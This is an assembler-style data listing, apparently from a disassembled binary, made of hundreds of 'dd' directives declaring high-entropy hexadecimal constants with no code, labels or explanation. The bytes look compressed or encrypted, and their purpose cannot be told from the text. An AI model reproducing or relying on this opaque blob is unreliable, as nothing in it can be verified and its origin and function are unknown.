		dd 290A1FDEh, 8C294F2h,	0BE140C68h, 1F222051h, 0CF99E319h
		dd 2BE57AC3h, 0BDD3D262h, 84D54B2Dh, 0D2DC8EBCh, 0EF4D24C3h
		dd 0F5EBD885h, 508821F6h, 0D1F7419Fh, 3C25AF90h, 709F5E36h
		dd 0E9275A53h, 0F7430B8Eh, 322DE4CDh, 49B6414Ah, 0C12AF5F0h
		dd 9E792B0Ch, 9CB52B1Bh, 820C0806h, 90E40414h, 5AA3BF12h
		dd 93B19C2Ch, 10B59F5Ah, 7264A558h, 90ACC57Ah, 86201B0Ch
		dd 0DE4C347Bh, 0EBE08E31h, 425F0E6h, 0CC6EE7BBh, 80AA852Bh
		dd 52250C31h, 0E13ABA6Fh, 0DAF74265h, 6BD8EB40h, 0EF7579CAh
		dd 140E8BD0h, 0E157550Ch, 0FDDEA025h, 33B6246Fh, 0A6A52E99h
		dd 5DE0CA7Dh, 0E0890371h, 4918F5ACh, 7B95C908h,	0B955AFDCh
		dd 56705CDFh, 0C3808076h, 51660105h, 0F0BF16B5h, 0B43D50E5h
		dd 0B7530BD9h, 0F63C804Ch, 0E683C980h, 4CA376E9h, 89117DC1h
		dd 5EA02D4h, 0E3DBF071h, 0A3ACA401h, 0A6E11AC9h, 6087355Ch
		dd 2867A26Fh, 45B1EE9Fh, 51FA9C27h, 60951D12h, 93758BDh
		dd 716D1844h, 14B50480h, 315E089Fh, 741004B7h, 3B6809ABh
		dd 0D3EB7C27h, 4B435313h
		dd 9C6648C1h, 0B25FC693h, 43B9343Ah, 11EB95C0h,	5A3B2F76h
		dd 0A39932E8h, 51F161C4h, 0EA6774E0h, 7E7A4874h, 6B847C1Bh
		dd 297DCCB2h, 87A28219h, 30DD0B66h, 0E19DAF1Fh,	0DFB2EC15h
		dd 7347AF7Ch, 0D2689D0Dh, 1F18C0Eh, 42E9DBC9h, 0B2B14385h
		dd 270D5C02h, 702FAFEh,	0E677D468h, 7DE91728h, 0EA66D072h
		dd 6EE65950h, 0E9508394h, 29725AF6h, 1ACE925h, 0EBF5DA87h
		dd 2B94453h, 25C2BE7Dh,	0D52C84h, 15E082Dh, 0F65E9554h
		dd 0E90B1148h, 455FA709h, 0F7F362h, 164ED668h, 0C3AD2D50h
		dd 816AC941h, 35E6862Bh, 1A8A2AE3h, 0DC88520Bh,	0B701C466h
		dd 58E73065h, 6B20EFD0h, 4EE97DA6h, 766040A0h, 8158FE19h
		dd 2B2FF205h, 84EB4D42h, 570E82D5h, 798B77D9h, 0F709C808h
		dd 32E271Bh, 89328h, 3D69B850h,	353A120Dh, 42C1030Fh, 0CB30FA25h
		dd 0C191AB5Bh, 0F54423B0h, 5C5EA50h, 198651Ah, 16F194AAh
		dd 38C0908h, 77BE1360h,	5C0995F8h, 0C6067168h, 0FEB02557h
		dd 0A54FCCC6h, 0ACBAA3C4h, 0DED1E55Fh, 0AC3CCCEEh, 1BA688Bh
		dd 328CDAFDh, 0F81B6AE2h, 0A6790FC0h, 12EABA80h, 0EE77DF62h
		dd 0D32D3E0Fh, 569E72BFh, 30668FBh, 2A6E574Eh, 630242h
		dd 9531B8B9h, 9AE8BE6Bh, 3D95709Dh, 0DE8559CEh,	0E4871DE9h
		dd 3D60934Bh, 2C70E3E1h, 0CB774C57h, 2E5BEB05h,	0BB63944Dh
		dd 0CAFB6A84h, 0F0A85BE7h, 0B47275B7h, 68B406E8h, 8A685802h
		dd 38BD4C3Ch, 39123E18h, 65D8453h, 8FED4787h, 9D76C538h
		dd 0E5811D56h, 23C361F7h, 1830CDF0h, 2407FD3Eh,	0CE28282Ah
		dd 710BF536h, 7A65F715h, 5D0880CDh, 0C3E826E9h,	0A454982Bh
		dd 98C7BBA0h, 9FE83B1h,	63F4D6D1h, 0EB01C150h, 686659ECh
		dd 0D6D7EB9h, 287AB700h, 919BE9FCh, 9CD27C95h, 79A1EDEFh
		dd 60727BF9h, 0F562EB5Ah, 0D7DD010Dh, 805E07B9h, 503EF822h
		dd 9273E944h, 0D428033Fh, 6AEC805Ah, 0BE39C499h, 0E906E70Ch
		dd 0C4CC6212h, 941C0F51h, 3985E883h, 7E2CCF8Ah,	6985A94Eh
		dd 0EB9956FFh, 35DED800h, 4B8B646Fh, 8129E304h,	736E3816h
		dd 985F32A5h, 1B95143h,	18F343BCh, 3F0611E9h, 0E68B15B2h
		dd 0CBC24FE8h, 0A467363Dh, 0EA14CD01h, 631C6008h, 902ABF3Ch
		dd 7B0438D3h, 6565BF5Bh, 4C4BDCBAh, 0ABD1EB68h,	1F50109h
		dd 33140608h, 654CF46Bh, 0AD3F6396h, 0C2D053E8h, 90ABF0E9h
		dd 1A259AD6h, 0FEB2009Dh, 4F0C8093h, 0D809A229h, 16700222h
		dd 0FF516320h, 4B91EF78h, 8E86BD6Bh, 0A79DB248h, 0E7EC7C3Fh
		dd 0D7AF1964h, 0F7BE5AC2h, 53056D9Ch, 0D9886FB3h, 519E71C2h
		dd 20FE28C5h, 0A8B2EC17h, 18A6449h, 7B116851h, 0B87B25F2h
		dd 0F370C6E3h, 5A540430h, 0D857F468h, 7419D53Ah, 0B64A146Fh
		dd 0A733F87Bh, 68D738D2h, 2467C577h, 3D233423h,	14285D8Bh
		dd 0E928E87Dh, 790BA0Fh, 0E699BE2Dh, 0EB75A512h, 5B578414h
		dd 0E91B78EBh, 91F0155Ah, 8B524FADh, 0B4FE1351h, 2EC468BCh
		dd 10DBE660h, 0F600A7F5h, 0CBF480D4h, 587DE328h, 6BE8342Dh
		dd 8C35BF88h, 5A0789B9h, 0B546E58Dh, 6DBEE1B4h,	0B0D3D0A7h
		dd 3F22A4B9h, 397306F1h, 6E25103Ch, 43AFC173h, 476827F5h
		dd 5C24AFF6h, 0EF29DD07h, 0E4D54FE2h, 3912018Fh, 0F53189ADh
		dd 0B2B23F5Eh, 55305252h, 0B3133226h, 68501600h, 75937B1Dh
		dd 83BF4EE9h, 7A3CFE48h, 87F8989Ch, 0EEE0D312h,	97E9929Ah
		dd 36ACFE2h, 0D8701F87h, 1CAA5913h, 61D813CCh, 24A66840h
		dd 5D5EEAC6h, 0F81432FEh, 660819F3h, 0F10A3220h, 0C75A5Dh
		dd 0AF12A12Dh, 9D850F7Bh, 48BAFC4Bh, 6326CB57h,	4EF85FC4h
		dd 0AB8CE25h, 620AD7BAh, 0DA4A2947h, 8E64813Bh,	8856E93Dh
		dd 8D93E538h, 0C2A42AB8h, 0E4EF451Bh, 0F828B258h, 0F52780DBh
		dd 72FD5C6Bh, 88FE4557h, 0F043D85h, 17EB4A8Bh, 0ADB6F8FCh
		dd 0A433B22Eh, 82055A92h, 7C9CE91Dh, 0CBE0965Ah, 0E953811Eh
		dd 0B92A961Ah, 20D35097h, 0B8BF552Eh, 0E7868F09h, 0EA4E895Dh
		dd 98BB0FD6h, 0EF2BD7D3h, 584A7908h, 84013C76h,	894B7538h
		dd 0A6E26AFDh, 4484F049h, 0EBD8FA02h, 7BC64792h, 6097803Eh
		dd 3AB225A8h, 0E9411EE8h, 420DE483h, 0CC9ED813h, 0D86CDC9Dh
		dd 0D84A1BE9h, 41C4B5A3h, 21B50544h, 27011CFEh,	814BAFC1h
		dd 0E417C535h, 806A06B9h, 0FDA805EEh, 78EE0927h, 67E9187Fh
		dd 0ABB9A6C1h, 615DBC70h, 49277DD2h, 6212D14Ah,	60D4A13Dh
		dd 0CA5B6E62h, 56C1F582h, 793CE8F9h, 8560C795h,	87932599h
		dd 1CF74D7h, 3F7F840Fh,	720A5A40h, 0E92D137Dh, 833384D0h
		dd 98E432F5h, 6964A3E6h, 24E3FA79h, 0D410D04Ah,	404CB954h
		dd 1A2D0433h, 0A6FA358Ch, 0CCE90C22h, 0B8B4CC85h, 9DA6F05Eh
		dd 889EA5F1h, 0F70182E9h, 396A68A1h, 25E96B48h,	92F5F60Eh
		dd 0E85B8594h, 0C5B4E0BCh, 0AA70AE82h, 0C1D159E9h, 5D690C2Eh
		dd 812D51BEh, 0B0C464BDh, 0C530340Fh, 4A54EE58h, 2C1DF818h
		dd 0D09B7839h, 3668408Ch, 4BD5E85Bh, 3296CC72h,	0CB4DC040h
		dd 12416090h, 11546145h, 0DCD889C0h, 0FC4D5EAh,	4EE5DEEh
		dd 0CD8FA227h, 0B9FD3A4Bh, 13A38D40h, 95E111Bh,	0C2A1E24Eh
		dd 3A44C6E9h, 0F372FB46h, 0D0040216h, 1DAE6857h, 3CC3E79Bh
		dd 645AF726h, 4653860Bh, 4D19648h, 5FED47C4h, 3A905C16h
		dd 25DCAF42h, 0F05E09CEh, 3E4DF270h, 21A502F8h,	0BAF14FC0h
		dd 524FBDB8h, 5DE12CBBh, 1988F0CBh, 0CADD52D5h,	0E275E3E6h
		dd 9A6801BFh, 12A93630h, 74EA064Ch, 9F98EED4h, 9EEF5E56h
		dd 66E61048h, 1B25203h,	6FFAD128h, 7F097669h, 42D35AE2h
		dd 29308C0Bh, 10CCEF20h, 47A9302Bh, 0DB54C40Eh,	68567C07h
		dd 0F50928C7h, 862678CDh, 81AF6E14h, 37387829h,	1493943Fh
		dd 8A07AC08h, 0B57E4B63h, 0A004EAE6h, 52FF5AA2h, 0DC1EBAE8h
		dd 0C3718959h, 0E12AC2D5h, 27F66FC8h, 186F702h,	1F5254Bh
		dd 32FA68C5h, 5F169476h, 0B1CBFAA7h, 0C1B680Bh,	0B596B45Fh
		dd 8AEB8130h, 4199C28Ah, 0EA054DA2h, 0E84E29F7h, 0D6D94CBCh
		dd 5EA2CBEBh, 0E7604CCDh, 385595A2h, 0C061FD55h, 60ACF58Bh
		dd 0CC01198h, 756D0466h, 0D1EA4F29h, 7E0725FDh,	0CB1387CBh
		dd 8E9CFA84h, 0C1F74096h, 8BC0E250h, 6DC0BCFEh,	5320C2F2h
		dd 6DDCB77Fh, 0AAC88085h, 14F2FA34h, 0A99CFB85h, 0A4CDDEC0h
		dd 5D857AEh, 499F3D76h,	208BFC97h, 1737B3F7h, 0F249227Bh
		dd 86787ADEh, 294CAB05h, 71045EF1h, 500763Bh, 5149479Dh
		dd 5523589Dh, 0AE2A9EEEh, 81341F7Ch, 21133B22h,	90521B0h
		dd 0FC0E39B7h, 40D00C5Dh, 21761DD2h, 0ACED960Bh, 0AB608993h
		dd 4F270FB8h, 56770150h, 0F5C8CE89h, 4559305Eh,	0BE52153Eh
		dd 0E5004F76h, 3B668C4h, 9FD971E9h, 3CD61992h, 4B26D503h
		dd 35880245h, 6C070999h, 55031AE0h, 401EBD05h, 6E9323F2h
		dd 3176D995h, 0BB2BC861h, 9ABDF060h, 4BFB2577h,	7139B0Ah
		dd 3CFF5D59h, 8719853Eh, 1FFEC190h, 7B162D00h, 252E6001h
		dd 6E987ED2h, 16DFE4E8h, 0EC29D4E7h, 3780107Eh,	416CDE78h
		dd 0BA7AF505h, 4552D450h, 2D321348h, 7DFAE6C5h,	4B5FF453h
		dd 7A0F89D0h, 892B8F8h,	51003F4Bh, 8EB05DB1h, 59C80130h
		dd 0F0280304h, 0C5AD02Ch, 0E8C0D01Eh, 550506F2h, 265C3202h
		dd 0FFF29E0Ch, 0DE3BFE62h, 1ACC8796h, 36CAB83Dh, 0C8FEBF41h
		dd 40DD5AF0h, 0B358C7CEh, 0B39C706h, 0B7D951DDh, 7D0206CCh
		dd 2D149C0Eh
		dd 0E9D057D4h, 25B796D9h, 41BBE557h, 3A9A6AE9h,	0C5C0B857h
		dd 4A433404h, 5035ECC9h, 3717558Fh, 7AD46476h, 284C081Fh
		dd 41EC776Bh, 83816EA7h, 0E87AD021h, 0B195A1FAh, 0EFEE6F96h
		dd 0FDF45D02h, 2DADC070h, 0D16597C3h, 14E6EF02h, 0D7296171h
		dd 0B008EAA0h, 7FF22A0h, 7ACE76B7h, 564F0772h, 0B7535780h
		dd 0E7863DFCh, 38501D1Ch, 8438A95Eh, 0DDFFDAADh, 8BB32009h
		dd 0BC7E5C81h, 81168428h, 7BB5B6ABh, 3512F75Eh,	91E3A2FAh
		dd 8923DE09h, 0EA6BD1E9h, 0C8405DB2h, 0AA7810F0h, 58C12912h
		dd 74041BA8h, 0AC73952Ah, 3D904AB5h, 4E3DECDBh,	6898C096h
		dd 92A6760Ch, 18C127A0h, 0DFE4793Ch, 95805D85h,	0B123850Eh
		dd 0FA082088h, 91E85A3Dh, 3E641E9Bh, 0C51C27E6h, 0B27D2520h
		dd 0D90C8452h, 0CF00F714h, 3712A8Ah, 0F5A0EF83h, 0E49D3FCCh
		dd 0E18CE2A1h, 65E90C0Bh, 5C8A7CB7h, 581590CAh,	0CB3F8BCCh
		dd 0A6517F93h, 0C8A72E61h, 2061ECA5h, 0F62DC708h, 0FEF603DCh
		dd 0BAF4A9C4h, 304E1081h, 2A2858E1h, 663647FFh,	0E9338068h
		dd 54D6AE4Fh, 0B8518AE0h, 263977F4h, 10172F18h,	8917E13h
		dd 2D800E08h, 0B9C18F42h, 0CF347B81h, 0EAFA13FFh, 2D7DFF8Bh
		dd 0B37F93D0h, 5849DA05h, 0B6521347h, 0AD191E77h, 5F9658F6h
		dd 0EF002AA6h, 4F1C3E16h, 0BFB6F0E9h, 2EF26801h, 933077A7h
		dd 322D1988h, 0C2EDDC99h, 0C08B45F5h, 73B0685Ch, 0BCF1A9C5h
		dd 5A16E9F4h, 3916B443h, 2A6F582Ch, 71F13209h, 5DC380DDh
		dd 29265B66h, 47E5EB78h, 0A1FEC908h, 4B52E978h,	195B3DBh
		dd 20503C12h, 0E0FAE3D1h, 26431954h, 1F0D2234h,	1A1E8B40h
		dd 8A8E7DF6h, 12B33931h, 2914AF3Ch, 370293EFh, 5D20F806h
		dd 0A165FA5Dh, 237E0968h, 7C039E83h, 0A58C0F4Fh, 1E4B10BAh
		dd 14050F85h, 311F620Eh, 4604D4C5h, 6804B52Ah, 4C195037h
		dd 31CDB280h, 12182C06h, 56360FDDh, 46605EA9h, 302EA2Dh
		dd 0F02943D5h, 5E078105h, 0C88BE0D1h, 0FDC848A1h, 0CEB7DA2Eh
		dd 8B07DF0Dh, 0E4FDAA21h, 0E6A0573h, 0A6296C93h, 0D8010479h
		dd 0D9A8B968h, 0DCE955C2h, 5F1A895Fh, 49A80FEEh, 734C4B68h
		dd 1B94D05Bh, 0A012A1BAh, 5FAD025Ah, 9BCDF421h,	0D6B4EE12h
		dd 5DF8DD09h, 4D7CC1ECh, 94BFA2EEh, 61112599h, 0B30A419Ah
		dd 8FDF6B26h, 7B70660Dh, 0E3C24A31h, 12F14C5Ah,	0F8F81178h
		dd 0FFE288C4h, 377A5DF3h, 0E72421BEh, 5AF323C6h, 0DF65562Ah
		dd 0AB975C76h, 91A494EAh, 0BA998981h, 0D98D3BDDh, 0AC3EC60Ah
		dd 0F109A5A3h, 56B1F618h, 8ABCE910h, 2A4BEC5Bh,	0C7A2EDF1h
		dd 54C09C74h, 5E74685Eh, 4647CC78h, 7D8A6C00h, 0C283DAF7h
		dd 8AE0B501h, 825A7593h, 0A51012A8h, 1C5B31C9h,	64D04339h
		dd 35EE3581h, 7C1FFE0Dh, 1CB268C4h, 0AEC232A8h,	0F540C32Ah
		dd 1AC063D9h, 14F21735h, 0C7892912h, 7A390B90h,	0C108DEE8h
		dd 292FAF74h, 0CDCFE0D8h, 52722576h, 8AE0E9F0h,	9DE9674Fh
		dd 1CA00841h, 0B1585214h, 58001C27h, 65440F2Dh,	0C60C4D75h
		dd 600D692Fh, 0AD07A305h, 60B41112h, 7B9F414Ah,	688310F2h
		dd 0BF853FACh, 0EF58C78Ah, 0F471D327h, 272110E3h, 21D75FE7h
		dd 5BDE887Ch, 2647C02Eh, 1377E380h, 4E6B001h, 58C330C8h
		dd 0E908212Eh, 0FA274F8h, 0F42D8617h, 4FF7D39Ch, 2C0FB33Eh
		dd 0FF9D575Ah, 0E96187C1h, 0D82AD0A7h, 0ED68E421h, 0C512C512h
		dd 0EEE76FB8h, 5F5AF057h, 1F5EA6FCh, 4802A133h,	2C04F0E7h
		dd 804B3304h, 0D866095Fh, 0E0E9100Bh, 500CA7E3h, 56FC9375h
		dd 0B281FA4Ah, 10A77C85h, 1EC52AD6h, 8B5BA7D2h,	0AE50C856h
		dd 67479530h, 2174133Fh, 0EAA009ACh, 0BB0B09A4h, 8FA013Ch
		dd 0E90D080Bh, 79214F26h, 0D9D4C2A5h, 0F5E3B0BEh, 129A6852h
		dd 81B4B61h, 0DD2FAF67h, 0C722B8B8h, 20968082h,	925A1047h
		dd 9CEEFC90h, 77502DD7h, 6A5A1CB6h, 434E41B2h, 9BB9E64h
		dd 31D01F19h, 899F6058h, 0E158084h, 0EC753966h,	2A3C0BC5h
		dd 0AE559BB2h, 36B961A3h, 94251B0Eh, 98088CCAh,	96670F3Ah
		dd 0F6A04E58h, 77100C93h, 21D8E92Eh, 12075FACh,	8FDB1B1Dh
		dd 2992191Dh, 0BB06436Ch, 7A642C6Eh, 7C35C31Dh,	7F047FD6h
		dd 281F3385h, 0C41019Bh, 34E94367h, 638A5787h, 24279246h
		dd 26A7F8C0h, 58EE47B6h, 558A28B8h, 0E189730Eh,	0FF54695Ch
		dd 0B4F36800h, 54513324h, 4489708h, 0D29418E9h,	0ECF5D9B7h
		dd 7B8F2D59h, 5C32C8C6h, 508489B0h, 0B53CFA5Dh,	845212D1h
		dd 38A1E1EBh, 66E1AB6Ch, 7480041Dh, 5C082E2Fh, 83005336h
		dd 0F381FFEBh, 37276BC4h, 4105423Bh, 0AE058AE9h, 5E0ACF1Eh
		dd 0A783C37Fh, 7D15D173h, 0D75C1436h, 8704EF65h, 88A9514Fh
		dd 99966C3Bh, 5B9E2C07h, 0F828C531h, 0C442EFF0h, 89B66097h
		dd 8FC54262h, 0D98243F6h, 5C340D45h, 0CFAF393Fh, 850023D0h
		dd 0BB2D406Eh, 492706CDh, 34673D0Eh, 13120244h,	0E88349C0h
		dd 490905FAh, 54AB234h,	89AE6C6Ch, 0BD83E333h, 38EA9E4Fh
		dd 68885E86h, 0B14462C5h, 59F7A4E3h, 7A6343A4h,	4CD8184Fh
		dd 2C502568h, 0E4C92FFEh, 955D9593h, 11F3270Bh,	643113AAh
		dd 0C3E891A0h, 0C87E317Bh, 76D811CAh, 0B5404602h, 0AB48785Dh
		dd 90CE00BBh, 52491604h, 2CE4E4BAh, 0AA55A4h, 32A11C6Fh
		dd 4C671BE9h, 0EF00593Ch, 1886C780h, 5D37A268h,	0C1C01130h
		dd 8D4755F2h, 0DD9BF4Eh, 13572963h, 909026B0h, 93D50242h
		dd 0EB31101Fh, 0FCC37549h, 0A2C270B4h, 735E3A19h, 306E5840h
		dd 1F09F0CDh, 0C60481FAh, 1248498Bh, 89250AEh, 42ABE917h
		dd 0F0895F1Fh, 17D113E3h, 568AA7B0h, 71454F95h,	7FA9C8A8h
		dd 0F9AB796Ah, 3020C204h, 0B6FE3E84h, 0C35D278Fh, 4152B275h
		dd 0E2D32C6Ah, 0D166F743h, 82E7E913h, 7A52E4C8h, 84D43054h
		dd 0ED7AC6E3h, 13AF705Eh, 0B8C5009Ah, 0B0261054h, 2C1315Eh
		dd 30A46FE1h, 40240659h, 4CB40825h, 2260EA82h, 4040DD62h
		dd 7995BF93h, 0CE33636Dh, 0BF59180Eh, 79CC67EBh, 0DA1ADB4h
		dd 0B7D9DFFEh, 410C2F3Eh, 0F2E55A2Eh, 83D4F3Eh,	0FC4ACAA4h
		dd 7C96DF9Dh, 899EEDA9h, 0B0FF5882h, 0C481B1E1h, 0D4BB9B1Dh
		dd 7EB81C7h, 4A6602E7h,	16C6609Bh, 15FC82A2h, 90606E7Ah
		dd 4FC50C08h, 1AF46314h, 3ECD6701h, 0E968EA29h,	7D1B4CD6h
		dd 7501357Ah, 0EE3A94C8h, 41D7CDD8h, 0C9FD6A90h, 9699ABA4h
		dd 769C2881h, 3E295C9Ah, 80290F1h, 0C3CC5F5Ah, 60586817h
		dd 0B19EAF8Ch, 0FFD51735h, 0A02BC179h, 0F04C31EBh, 0C0CCD24Dh
		dd 19BA93Ah, 0D6C8B27Bh, 59E53801h, 0AD7E5146h,	1D233840h
		dd 0EF967291h, 38A00F04h, 3E7F3DC0h, 0AC905F15h, 7CFE4995h
		dd 751368E4h, 3A360B93h, 11251716h, 89520480h, 8C17FBDAh
		dd 23149D01h, 94B46DB0h, 5E080B2Ah, 2925A852h, 5B49A45Fh
		dd 0D6DDB7EFh, 35F48F01h, 0BE701990h, 0FB0DD3F0h, 55D56216h
		dd 961C8EB8h, 0E9654328h, 0AF7667DAh, 4C647D17h, 47467FCh
		dd 10F1D7Ch, 0ED85C0D9h, 3E4CFC0Eh, 15FA046Ah, 3DC2282Bh
		dd 2FCDD789h, 834D59A8h, 75DE25C1h, 39C73548h, 0F645E627h
		dd 0BF022FA7h, 0EDDFF829h, 66C5AD3Bh, 3110302Dh, 0BF5E9A77h
		dd 0EF0FC170h, 73674666h, 84046A9h, 0AA680C53h,	0B7C4457Dh
		dd 0B53AE3BEh, 9C014310h, 0A30EB896h, 9D85FCECh, 52ADFFDCh
		dd 0AAABD745h, 6812E19Eh, 5525BFA1h, 0B8C025A2h, 18F07A5h
		dd 8FE8C127h, 93796C7Bh
		dd 88274B82h, 0C712C6F6h, 61CB55AFh, 3486FB18h,	841EB551h
		dd 738AE5D0h, 9440EE0Bh, 0B77E3519h, 0F37B6C0h,	0D51FCA82h
		dd 0FE8CBF51h, 0BCD3738h, 9B07C6Ah, 703A20F5h, 1C2BBF7Dh
		dd 2F3AC2E9h, 92C03A7Fh, 3CAB60EBh, 7FFF265Ah, 7D1D0EDCh
		dd 7F7CF149h, 5E76D628h, 0CA259C90h, 2C589969h,	1A00AB14h
		dd 0EC51709h, 8D8831E9h, 6C3AB8A3h, 0E206D264h,	514748Eh
		dd 0BB094235h, 0DCA91805h, 8A1283F1h, 0A0123F0h, 43B00BFDh
		dd 0F8A05B61h, 78E91508h, 0C18BB7Dh, 0DBF0A76h,	35890816h
		dd 0AF4F0CE2h, 5A2EF840h, 48D118E8h, 780501EAh,	0BE22284Eh
		dd 4BE9FFB0h, 81088550h, 5C8CE3Dh, 0A5BEC1AEh, 0B56287B1h
		dd 72825990h, 0C3324AB8h, 84DA9AD6h, 57051BB1h,	1C2FE656h
		dd 5F257586h, 5300B3C7h, 9907ACBBh, 0C359847h, 19AD1F13h
		dd 0CE406686h, 4FE9124Bh, 0F560FEB2h, 52D41C71h, 2479AC6Ch
		dd 60563235h, 0E9515854h, 4F75405Dh, 0F78C68EEh, 9BFAA74Ah
		dd 28A95E7Ah, 0AD4C2985h, 81FD4E99h, 0AAE6905Ah, 41175C32h
		dd 0C6F35429h, 0D35A0C40h, 0A842BF36h, 0A9408C68h, 0DAAC845Bh
		dd 0BD070AADh, 0B545B964h, 5C96A0CBh, 69E391h, 6628C992h
		dd 0D9F71B7Eh, 80A4D2D1h, 6B0F70A5h, 3587535Ch,	7D106934h
		dd 0CB01B1C5h, 7562632Eh, 3AFF09C7h, 2697484h, 31715F49h
		dd 7828250h, 2020C472h,	4B96763Bh, 1DDB1A67h, 0AF5FCF5Dh
		dd 9B0C6DFCh, 9BB1C9Ch,	71EB4719h, 0E51220D4h, 0ED81BEC1h
		dd 5F59E47Fh, 0A52C40B8h, 0A56C3792h, 626A1372h, 1C0A11Fh
		dd 7B54E907h, 6505CB01h, 29E87402h, 72D50D0h, 45ADB45Ah
		dd 0DB3BD81Bh, 0A5147C13h, 0D9CCC6E1h, 810BE5Bh, 0DB28396Dh
		dd 6032850Ah, 2989B55Ch, 977984CEh, 12BC87B4h, 847BAA41h
		dd 0DF88BF0Bh, 7916FEEDh, 2FA9907Eh, 5F9BA04h, 4EEBF745h
		dd 0EE432E2h, 3429AF74h, 0CB8D241h, 6EC94A6Ch, 5F583E50h
		dd 34FB4F92h, 8409F47Ch, 6020BB4Eh, 256F2BBAh, 0F8DE6D2Dh
		dd 0D7F28709h, 0A288D60Eh, 0E3FE5312h, 0ABC1121Bh, 5F25C2EDh
		dd 694A524Ch, 0C2EDC640h, 7C2D0A3Fh, 0CA5A5955h, 0F7D38706h
		dd 810008D2h, 297610CBh, 0BDB1E906h, 5F5EBC83h,	3BFD08B9h
		dd 0FA974C8Ah, 0E5359037h, 68C267ACh, 0EBB02EFCh, 6F306AEBh
		dd 3F359C6Dh, 0E956094Dh, 63747932h, 22A4372h, 61F1BE0Dh
		dd 19E30FF8h, 3E7B8B99h, 0E94E5A01h, 0EC7BD083h, 0D94286C8h
		dd 27B901Dh, 522C556Ah,	0A340DE21h, 940C24EEh, 8057CFF7h
		dd 801D4009h, 0F693F109h, 0F3787DD9h, 0F41608D9h, 2689C1F9h
		dd 768559C8h, 0A13AE98h, 0A65D8DBBh, 5B094F0Ch,	5A7F963Eh
		dd 0B50CF58h, 56017668h, 1A48E265h, 3EE4EF20h, 46E5CFCh
		dd 19E27B18h, 0B012F5F7h, 81126C19h, 0B919708h,	165FCC8Ah
		dd 0FCE22FDCh, 20542491h, 35CE2B60h, 84D4DFADh,	6F047039h
		dd 0FD89CD80h, 0E4386B86h, 6CE31FBDh, 8F12BDCFh, 0B52CEB57h
		dd 6A9B490h, 71BD9CE9h,	2405B4A0h, 9D638496h, 681E0E7Eh
		dd 0EF162B36h, 0F2FE1C74h, 5CB493FBh, 449C5FEBh, 921533E9h
		dd 73F40312h, 6CCE8100h, 981C1029h, 68D36C72h, 345A2E9Ch
		dd 1208674Ch, 1EAB601Ch, 0F98BC388h, 0A6041098h, 958E2E6h
		dd 0C902C2ECh, 2BCF1998h, 0A6C1F768h, 0B0EDF416h, 5A07CAFCh
		dd 0DB34E950h, 898AC05Eh, 0C59382F5h, 0EC5AD4E0h, 0A7394AD3h
		dd 5F364A73h, 826020CEh, 801EB60Bh, 92FA7CCEh, 0C0BE02h
		dd 2A5AF130h, 709B5C68h, 0BAED4BE9h, 80BB9423h,	3E6D14h
		dd 76DBF381h, 564B5380h, 8C590B9Fh, 0FE2D868h, 0F58AF32h
		dd 0B4743164h, 2DEECAD0h, 194935Ch, 1D5D047Ah, 22781EE9h
		dd 1B7BA02h, 0D25008BFh, 8195F5FAh, 0A6EF80E2h,	0ECC2E7CCh
		dd 973B48F7h, 7C58EE15h, 9ED73A50h, 0FE0CC5FCh,	0EED2698Bh
		dd 0E7A33424h, 9DBDC040h, 4CF728A0h, 1F5AB85Fh,	4021BBC2h
		dd 0BCC58B40h, 0BF5770F5h, 0B03B7909h, 757E0655h, 92E93E0Dh
		dd 84EE55E0h, 494B2245h, 0C40D04FEh, 0BE6803A0h, 0CFBE8540h
		dd 542486Eh, 63AE7EE2h,	4F2B36C0h, 7D134C08h, 20D59627h
		dd 357BCE00h, 0E377665h, 11562CF6h, 0BDC7AA72h,	0C542C830h
		dd 83609D1Eh, 4C975A68h, 33527BEh, 5D278A56h, 2FD0D410h
		dd 5EC061A2h, 99F93FDh,	4097479h, 4362D888h, 0D0A3CAC6h
		dd 4A39E99Bh, 6BCF89B2h, 6809BBCBh, 0F0B27E70h,	0E6B4987Eh
		dd 31054705h, 14FF7C0h,	72D50F0h, 0D6E9265Eh, 85026787h
		dd 97C5EB3Ch, 24759AFFh, 5CAF1C46h, 6FD984FEh, 1AF382E6h
		dd 4F128955h, 0A026ACBEh, 0AEE03DD0h, 9AFD8F25h, 41F97F29h
		dd 9CE6E985h, 6C79F341h, 21BE29DCh, 0ACA14AF2h,	0B9C1DC97h
		dd 2D5F6247h, 1D20A82Bh, 5CC5BA52h, 7EC17486h, 0AC62F8E9h
		dd 14D29A40h, 0F1791C28h, 2C07C628h, 0A8745D59h, 0B7749AA8h
		dd 86171173h, 0D784BFC5h, 935EE8BFh, 20E96688h,	0E68130D1h
		dd 0F355C273h, 0E39EB9EEh, 1EC3C251h, 0EC7F26BCh, 12E97F93h
		dd 0FC755771h, 0E6992E1Eh, 202B1B8Eh, 68E8014Dh, 612D4B7Ah
		dd 2A18A018h, 63EC3EE0h, 6F6E8361h, 30C9C702h, 610F4D0Eh
		dd 0DF99B994h, 7C820E41h, 0C1B0052Eh, 0E0AAABB5h, 3FD64FB7h
		dd 3126B2D1h, 1825E62Ah, 0B8128E9Ah, 10400092h,	640F0554h
		dd 989036B9h, 8072D51h,	0D5A96DFh, 0B88094F8h, 72932BDFh
		dd 4010C90h, 0E940E8D1h, 0CA3B8C41h, 34FE152Ch,	87B52C7Ah
		dd 0E3F0451Fh, 2D5720F6h, 364269F1h, 90611842h,	0B30530D6h
		dd 6CA2600Bh, 8DBF804Bh, 983EFB0Eh, 98A33493h, 0F1C6B042h
		dd 1CB23C40h, 80C2FEA0h, 43F280CAh, 2076B753h, 0C04FC706h
		dd 190608E7h, 16CFFE07h, 6C1B2087h, 9CBEF8E0h, 68D0026Eh
		dd 6298D5DAh, 0EFF6DCB7h, 0FA273BF9h, 4002ACB4h, 0C255D435h
		dd 0B70F759Dh, 0AFDCB1C5h, 49358B2h, 14F8022Ch,	0E67E1AEDh
		dd 687A82CDh, 3FD80DDBh, 680F6712h, 3039E4A9h, 0E5EAC095h
		dd 0C6ED7391h, 7218859h, 646B35E2h, 9AF2607Dh, 2D391275h
		dd 0C81325E9h, 0B4CA9C3h, 0FD012852h, 4082A08h,	0E47691E9h
		dd 7EBF5A94h, 15DE640Dh, 0BDC17A0h, 0CDE53221h,	1288B62Bh
		dd 2CFB6407h, 719CA159h, 595E5103h, 0B1F42FF7h,	1EDDE509h
		dd 948B9E65h, 0C1027102h, 0CC8150Fh, 51726560h,	1233E09h
		dd 105600CAh, 817A1E3Bh, 9F907E06h, 657428h, 0B62D401Ch
		dd 2971985Eh, 0DDE9C250h, 21625296h, 15B7F70h, 1158860Bh
		dd 4C9369FFh, 0C46E9326h, 0BE15D5C1h, 90D3021Ch, 0E3CB29BDh
